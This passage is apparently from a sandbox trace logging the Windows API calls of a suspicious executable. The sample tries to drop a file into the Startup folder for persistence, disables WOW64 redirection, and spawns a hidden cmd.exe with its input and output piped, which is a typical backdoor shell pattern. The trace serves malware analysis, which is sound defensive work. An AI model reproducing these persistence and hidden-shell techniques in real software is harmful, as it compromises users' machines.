"c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.517] CloseHandle (hObject=0xe4) returned 1 [0264.518] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0264.518] GetProcAddress (hModule=0x77540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7756d650 [0264.518] Wow64DisableWow64FsRedirection (in: OldValue=0x21f140 | out: OldValue=0x21f140*=0x1) returned 1 [0264.518] lstrlenW (lpString="kernel32.dll") returned 12 [0264.518] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.518] lstrlenW (lpString="%windir%\\System32") returned 17 [0264.518] lstrlenW (lpString="%appdata%") returned 9 [0264.518] lstrlenW (lpString="%sh(Startup)%") returned 13 [0264.518] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0264.519] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.519] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x2bb518, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0264.519] CreatePipe (in: hReadPipe=0x21f0fc, hWritePipe=0x21f100, lpPipeAttributes=0x21f0ec, nSize=0x0 | out: hReadPipe=0x21f0fc*=0xe8, hWritePipe=0x21f100*=0xec) returned 1 [0264.519] CreatePipe (in: hReadPipe=0x21f16c, hWritePipe=0x21f170, lpPipeAttributes=0x21f0ec, nSize=0x0 | out: hReadPipe=0x21f16c*=0xf0, hWritePipe=0x21f170*=0xf4) returned 1 [0264.519] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0264.519] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0264.519] CreateProcessW (lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x21f10c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x21f15c) Thread: id = 70 os_tid = 0x7a8